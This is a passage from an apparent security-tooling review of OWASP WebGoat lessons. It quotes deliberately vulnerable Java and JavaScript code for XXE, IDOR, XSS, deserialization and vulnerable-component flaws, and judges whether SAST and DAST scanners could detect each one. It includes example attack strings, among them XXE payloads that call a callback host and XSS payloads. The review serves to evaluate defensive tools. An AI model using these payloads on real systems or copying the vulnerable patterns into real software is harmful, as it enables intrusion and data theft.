discrepancy between a valid and invalid security question answer.\n\n---\n\n### (A2) Broken Authentication > Password reset > Creating the password reset link\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/5\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate incorrect usage of user supplied data (taken from the host header) in constructing a link. The goal is to abuse this to get a hypothetical user to click on a password reset link that points to the wrong host.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java#L60-74\n\nString resetLink = UUID.randomUUID().toString();\nResetLinkAssignment.resetLinks.add(resetLink);\nString host = request.getHeader(\"host\");\nif (hasText(email)) {\n    if (email.equals(ResetLinkAssignment.TOM_EMAIL) && (host.contains(\"9090\")||host.contains(\"webwolf\"))) { //User indeed changed the host header.\n        ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink);\n        fakeClickingLinkEmail(host, resetLink);\n    } else {\n        try {\n            sendMailToUser(email, host, resetLink);\n        } catch (Exception e) {\n            return failed(this).output(\"E-mail can't be send. please try again.\").build();\n        }\n    }\n}\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a hypothetical issue that most likely would not occur in the wild. There is no real way of a SAST tool to know that the extracted host header was incorrectly used in constructing a link.\n\n**DAST Reasoning:**\n\nA DAST tool would first need to be configured to treat this form as a login or password reset form. It would then also need to know that the conditions for getting a response required the host header to contain port 9090 or the string `webwolf`. This is a highly improbable set of conditions a DAST tool (or even a human without source) would need to know to have the flaw triggered. Additionally, this flaw requires a form of user interaction (although it's faked on line 66) which a DAST tool would not be able to do.\n\n---\n\u003C/details>\n\n## (A3) > Sensitive Data Exposure\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n---\n\n### (A3) > Sensitive Data Exposure > Insecure Login > Let's try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureLogin.lesson/1\n\n**Source:** \n- webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java\n\n**Lesson:**\n\nThis lesson is to demonstrate sending credentials over plain text communications. It does not contain any real flaws.\n\n```\nwebgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java#L35-37\n\nif (username.toString().equals(\"CaptainJack\") && password.toString().equals(\"BlackPearl\")) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe source is only doing a simple equality test between user input and two constant values. There is a chance, depending on the SAST tool, that it would flag the password equality check as a hardcoded password. \n\n**DAST Reasoning:**\n\nIf this page were configured as a login page and it were accessed over HTTP, there is a chance a DAST tool would report this as credentials being sent over a plain text transport.\n\n---\n\u003C/details>\n\n## (A4) XML External Entities (XXE)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A4) XML External Entities (XXE) > XXE > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\nClass: Injection\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path. The target XML parser `JAXB` will decode the `SYSTEM` entity and return the contents of the specified entity.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools should have signatures for common XML parsers like `JAXB` and determine if they do or do not disable entity and DTD resolution prior to processing user input.\n\n**DAST Reasoning:**\n\nMost DAST tools should be able to find this issue even though the attack request's response does not immediately contain the result. A DAST tool should be configured to handle callback related attacks and attempt to force the XML parser to use a URL instead of reading a system file. If the parser is vulnerable, and no egress filtering is in place, the parser will end up initiating a request to the specified URL.\n\n**Example Attack:**\n- `\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://callbackserver:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Modern REST framework\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/6\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path, much like `http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3`. The only difference is the `/WebGoat/xxe/content-type` endpoint accepts both JSON and XML. This is more of a hypothetical situation due to unrealistic conditional statements used to only allow valid responses if they are met. The same underlying `parseXml` is called for both of these lessons.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java#L56-64\n\nif (APPLICATION_JSON_VALUE.equals(contentType)) {\n            comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));\n            attackResult = failed(this).feedback(\"xxe.content.type.feedback.json\").build();\n        }\n\n        if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {\n            String error = \"\";\n            try {\n                Comment comment = comments.parseXml(commentStr);\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool will most likely disregard the conditional checks necessary to call the `comments.parseXml` on line 64 of `ContentTypeAssignment`. It should determine that the input string is parsed by an XML parser in `Comments.java` that did not disable entity or DTD resolution.\n\n**DAST Reasoning:**\n\nMost DAST tools will attempt to inject into parameter names and values, not transform the entire method from one to the other. The conditional checks in `ContentTypeAssignment` lines 56 and 61 are not realistic and would most likely block legitimate attack cases.\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Blind XXE assignment\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/10\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it post the contents of a file to a callback server. The same underlying `parseXml` is called for this lesson as well.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java#L56-64\n\n public AttackResult addComment(@RequestBody String commentStr) {\n        //Solution is posted as a separate comment\n        if (commentStr.contains(CONTENTS)) {\n            return success(this).build();\n        }\n\n        try {\n            Comment comment = comments.parseXml(commentStr);\n            comments.addComment(comment, false);\n        } catch (Exception e) {\n            return failed(this).output(e.toString()).build();\n        }\n        return failed(this).build();\n    }\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n**DAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n---\n\n\u003C/details>\n\n## (A5) Broken Access Control\n\n--- \n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A5) Broken Access Control > Insecure Direct Object References > Authenticate First, Abuse Authorization Later\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/1\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java\n\n**Lesson:**\n\nThis lesson is for assigning the current session to a user profile for subsequent lessons – it is not supposed to contain any vulnerabilities.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java#L59-74\n\npublic AttackResult completed(@RequestParam String username, @RequestParam String password) {\n        initIDORInfo();\n        UserSessionData userSessionData = getUserSessionData();\n\n        if (idorUserInfo.containsKey(username)) {\n            if (\"tom\".equals(username) && idorUserInfo.get(\"tom\").get(\"password\").equals(password)) {\n                userSessionData.setValue(\"idor-authenticated-as\", username);\n                userSessionData.setValue(\"idor-authenticated-user-id\", idorUserInfo.get(username).get(\"id\"));\n                return success(this).feedback(\"idor.login.success\").feedbackArgs(username).build();\n            } else {\n                return failed(this).feedback(\"idor.login.failure\").build();\n            }\n        } else {\n            return failed(this).feedback(\"idor.login.failure\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n**DAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Observing Differences & Behaviors\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/2\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java\n\n**Lesson:**\n\nThis lesson demonstrates hidden authorization properties and does not contain any real flaws.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java#L36-48\n\npublic AttackResult completed(@RequestParam String attributes) {\n    attributes = attributes.trim();\n    String[] diffAttribs = attributes.split(\",\");\n    if (diffAttribs.length \u003C 2) {\n        return failed(this).feedback(\"idor.diff.attributes.missing\").build();\n    }\n    if (diffAttribs[0].toLowerCase().trim().equals(\"userid\") && diffAttribs[1].toLowerCase().trim().equals(\"role\")\n            || diffAttribs[1].toLowerCase().trim().equals(\"userid\") && diffAttribs[0].toLowerCase().trim().equals(\"role\")) {\n        return success(this).feedback(\"idor.diff.success\").build();\n    } else {\n        return failed(this).feedback(\"idor.diff.failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Guessing & Predicting Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/3\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing your own profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java#L42-62\n\npublic AttackResult completed(@RequestParam String url) {\n        try {\n            if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n                //going to use session auth to view this one\n                String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n                //don't care about http://localhost:8080 ... just want WebGoat/\n                String[] urlParts = url.split(\"/\");\n                if (urlParts[0].equals(\"WebGoat\") && urlParts[1].equals(\"IDOR\") && urlParts[2].equals(\"profile\") && urlParts[3].equals(authUserId)) {\n                    UserProfile userProfile = new UserProfile(authUserId);\n                    return success(this).feedback(\"idor.view.own.profile.success\").output(userProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.own.profile.failure1\").build();\n                }\n\n            } else {\n                return failed(this).feedback(\"idor.view.own.profile.failure2\").build();\n            }\n        } catch (Exception ex) {\n            return failed(this).feedback(\"an error occurred with your request\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values. Additionally, the DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. However, a DAST tool must already be configured to login to the `/WebGoat/` end point and most DAST tools don't support logging in multiple times to different endpoints for the same scan.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Playing with the Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/4\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java\n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing a mock users profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`. \n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java#L48-67\n\npublic AttackResult completed(@PathVariable(\"userId\") String userId, HttpServletResponse resp) {\n        Map\u003CString, Object> details = new HashMap\u003C>();\n\n        if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n            //going to use session auth to view this one\n            String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n            if (userId != null && !userId.equals(authUserId)) {\n                //on the right track\n                UserProfile requestedProfile = new UserProfile(userId);\n                // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile\n                if (requestedProfile.getUserId().equals(\"2342388\")) {\n                    return success(this).feedback(\"idor.view.profile.success\").output(requestedProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.profile.close1\").build();\n                }\n            } else {\n                return failed(this).feedback(\"idor.view.profile.close2\").build();\n            }\n        }\n        return failed(this).build();\n\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java#L41-88\npublic AttackResult completed(@PathVariable(\"userId\") String userId, @RequestBody UserProfile userSubmittedProfile) {\n\n    String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n    // this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization\n    // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?\n    // Except that this is a vulnerable app ... so we will\n    UserProfile currentUserProfile = new UserProfile(userId);\n    if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) {\n        // let's get this started ...\n        currentUserProfile.setColor(userSubmittedProfile.getColor());\n        currentUserProfile.setRole(userSubmittedProfile.getRole());\n        // we will persist in the session object for now in case we want to refer back or use it later\n        userSessionData.setValue(\"idor-updated-other-profile\", currentUserProfile);\n        if (currentUserProfile.getRole() \u003C= 1 && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n            return success(this)\n                    .feedback(\"idor.edit.profile.success1\")\n                    .output(currentUserProfile.profileToMap().toString())\n                    .build();\n        }\n...\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSAST tools have difficulties determining authorization checks unless custom rule sets are configured.\n\n**DAST Reasoning:**\n\nIDOR-based attacks can be difficult for DAST tools to detect. The DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. After which it would somehow need to determine that the edit and view profile endpoint at `/WebGoat/IDOR/profile/{user}` should have the `{user}` field replaced with the userid of the same user, and then replaced as a different user to trigger the flaw. \n\n---\n\n\u003C/details>\n\n## (A7) Cross-Site Scripting (XSS)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! Reflected XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/6\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js \n\n**Lesson:**\n\nThis lesson demonstrates a self-reflected XSS vulnerability. The goal is to inject XSS into the `field1` parameter.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java#L56-79\n\ncart.append(\"Thank you for shopping at WebGoat. \u003Cbr />You're support is appreciated\u003Chr />\");\ncart.append(\"\u003Cp>We have charged credit card:\" + field1 + \"\u003Cbr />\");\ncart.append(\"                             ------------------- \u003Cbr />\");\ncart.append(\"                               $\" + totalSale);\n\n//init state\nif (userSessionData.getValue(\"xss-reflected1-complete\") == null) {\n    userSessionData.setValue(\"xss-reflected1-complete\", (Object) \"false\");\n}\n\nif (field1.toLowerCase().matches(\"\u003Cscript>.*(console\\\\.log\\\\(.*\\\\)|alert\\\\(.*\\\\))\u003C\\\\/script>\")) {\n    //return )\n    userSessionData.setValue(\"xss-reflected-5a-complete\", \"true\");\n    if (field1.toLowerCase().contains(\"console.log\")) {\n        return success(this).feedback(\"xss-reflected-5a-success-console\").output(cart.toString()).build();\n    } else {\n        return success(this).feedback(\"xss-reflected-5a-success-alert\").output(cart.toString()).build();\n    }\n} else {\n    userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n    return success(this)\n            .feedback(\"xss-reflected-5a-failure\")\n            .output(cart.toString())\n            .build();\n}\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L183-185\n\nrenderOutput: function (output) {\n    var s = this.removeSlashesFromJSON(output);\n    this.$curOutput.html(polyglot.t(s) || \"\");\n    ...\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `field1` parameter comes directly from user input and is output in the response on lines 70, 72 and 78. The user input is inserted into the cart `StringBuffer` on line 57. However the response for this endpoint is JSON and the reason this is exploitable is due to how the frontend renders the `output` JSON field in `LessonContentView.js`. A SAST tool would need to be able to scan JavaScript and possibly Java to detect this as a Cross-Site Scripting flaw.\n\n**DAST Reasoning:**\n\nThis is a straightforward XSS attack. A DAST tool would most likely attempt various XSS attack strings in each parameter value.\n\n**Example Attack:**\n- `/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=12345&field1=%3cimg%20src%3dx+onerror%3dalert(1)%3e`\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Identify potential for DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java\n\n**Lesson:**\n\nThis lesson does not contain any vulnerabilities. The goal is to simply identify that `start.mvc#test` is the hidden route.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java#L42-50\n\npublic AttackResult completed(@RequestParam String DOMTestRoute) {\n\n    if (DOMTestRoute.matches(\"start\\\\.mvc#test(\\\\/|)\")) {\n        //return )\n        return success(this).feedback(\"xss-reflected-6a-success\").build();\n    } else {\n        return failed(this).feedback(\"xss-reflected-6a-failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/10\n\n**Source:** \n- webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js\n- webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js\n\n**Lesson:**\n\nThis lesson is a client side DOM-XSS vulnerability that exists in a different java project `webgoat-container`. The underlying vulnerability is in an insecure call to the `jQuery.html` method.\n\n```\nwebgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js#L46-117\n\nvar GoatAppRouter = Backbone.Router.extend({\n\n    routes: {\n        'welcome': 'welcomeRoute',\n        'lesson/:name': 'lessonRoute',\n        'lesson/:name/:pageNum': 'lessonPageRoute',\n        'test/:param': 'testRoute',\n        'reportCard': 'reportCard'\n    },\n...\ntestRoute: function (param) {\n            this.lessonController.testHandler(param);\n            //this.menuController.updateMenu(name);\n        },\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js#156-159\n\nthis.testHandler = function(param) {\n    console.log('test handler');\n    this.lessonContentView.showTestParam(param);\n};\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L220-222\n\nshowTestParam: function (param) {\n    this.$el.find('.lesson-content').html('test:' + param);\n},\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool that does intra-procedural taint tracking would need to have signatures for the Backbone javascript framework. It would need to follow taint down to the final vulnerability on line 221 of `LessonContentView.js`. A non-intra-procedural taint tracking SAST tool may simply look for any `html()` method calls and flag it as a potential sink for XSS.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely need to have some form of SAST-like capabilities to know that the target application not only uses Backbone, but is able to extract the routes from the `Backbone.router`. It could then potentially attack all URL Fragment based route links. Since the `#test/` route is technically never referenced anywhere, it is unlikely that a DAST tool would be able to find this vulnerable route.\n\nAlso, since this is a client-side vulnerability, the DAST tool must be instrumenting a real browser, otherwise it would be nearly impossible to trigger the flaw since it is dynamically rewriting the DOM.\n\n**Example Attack:**\n- `http://localhost:8080/WebGoat/start.mvc#test/%3Cimg%20src=x%20onerror=alert(1)%3E`\n\n---\n\u003C/details>\n\n## (A8)  Insecure Deserialization\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8)  Insecure Deserialization > Insecure Deserialization > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureDeserialization.lesson/4\n\n**Source:** \n- webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java\n- webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\n\n**Lesson:**\n\nThis lesson demonstrates how object deserialization attacks can be exploited to run arbitrary code. In particular this lesson deals with java deserialization attacks.\n\n```\nwebgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java#L54-56\n\ntry (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {\n    before = System.currentTimeMillis();\n    Object o = ois.readObject();\n...\n\nwebgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java#L38-59\n\nprivate void readObject( ObjectInputStream stream ) throws Exception {\n    //unserialize data so taskName and taskAction are available\n    stream.defaultReadObject();\n\n    //do something with the data\n    log.info(\"restoring task: {}\", taskName);\n    log.info(\"restoring time: {}\", requestedExecutionTime);\n\n    if (requestedExecutionTime!=null && \n            (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n        //do nothing is the time is not within 10 minutes after the object has been created\n        log.debug(this.toString());\n        throw new IllegalArgumentException(\"outdated\");\n    }\n\n    //condition is here to prevent you from destroying the goat altogether\n    if ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n            && taskAction.length() \u003C 22) {\n    log.info(\"about to execute: {}\", taskAction);\n    try {\n        Process p = Runtime.getRuntime().exec(taskAction);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify the `Object o = ois.readObject();` call on line 56 of `InsecureDeserializationTask.java` and flag as a potential Deserialization issue. SAST tools would most likely also flag the `Runetime.getRuntime().exec(taskAction)` call on line 59 as a potential for OS command injection.\n\n**DAST Reasoning:**\n\nDAST tools usually work off of intercepting requests and analyzing parameter values to determine what to inject. The `/WebGoat/InsecureDeserialization/task` endpoint is never triggered with a valid object, only a reference to what is expected exists in the HTML output. Due to this, there is no way for a DAST tool to know that this endpoint expects a serialized java object, and hence would not be able to attack it. \n\n---\n\n\u003C/details>\n\n## (A9) Vulnerable Components\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A9) Vulnerable Components > Vulnerable Components > The exploit is not always in \"your\" code\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/4\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable and non-vulnerable version of jquery-ui. The attack is built in to the source HTML form. \n\n```\nL45-57\n        \u003Ctd>\u003Cinput id=\"closetext\" value=\"OK\u003Cscript>alert('XSS')\u003C/script>\" type=\"TEXT\" />\u003Cinput\n            name=\"SUBMIT\" value=\"Go!\" type=\"SUBMIT\" onclick=\"webgoat.customjs.vuln_jquery_ui()\" />\u003C/td>\n        \u003Ctd>\u003C/td>\n    \u003C/tr>\n\u003C/table>\n\u003Cscript th:inline=\"javascript\">\n/*\u003C![CDATA[*/\nwebgoat.customjs.vuln_jquery_ui = function()\n{\n    webgoat.customjs.jqueryVuln('#dialog').dialog({ closeText: webgoat.customjs.jquery('#closetext').val() });\n};\n/*]]>*/\n    \u003C/script>\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the outdated version of jquery-ui.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely click the form submission and inject it's own XSS value to trigger the flaw.\n\n**Example Attack:**\n- `OK\u003Cscript>alert('XSS')\u003C/script>`\n\n---\n\n### (A9) Vulnerable Components > Vulnerable Components > Exploiting CVE-2013-7285 (XStream)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/11\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable version of `Xstream` that allows for XXE attacks.  \n\n```\nwebgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java#L37-68\n\nAttackResult completed(@RequestParam String payload) {\n        XStream xstream = new XStream(new DomDriver());\n        xstream.setClassLoader(Contact.class.getClassLoader());\n\n        xstream.processAnnotations(Contact.class);\n...\n\n        try {\n//        \tSystem.out.println(\"Payload:\" + payload);\n            Contact expl = (Contact) xstream.fromXML(payload);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the vulnerable `Xstream` component. It may also model the `Xstream` library to determine if XXE injection attacks are possible.\n\n**DAST Reasoning:**\n\nA DAST tool may not attempt XML attacks since the form gives no hint that the expected form should POST as XML; the default content-type is `application/x-www-form-urlencoded; charset=UTF-8` with the parameter name of `payload`. However some DAST tools may attempt XXE attacks in all parameter value types, regardless of content-type.\n\n**Example Attack:** \n- `payload=\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://192.168.2.249:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n\u003C/details>\n\n## (A8:2013) Request Forgeries\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Basic Get CSRF Exercise\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/2\n\n**Source:** \n- 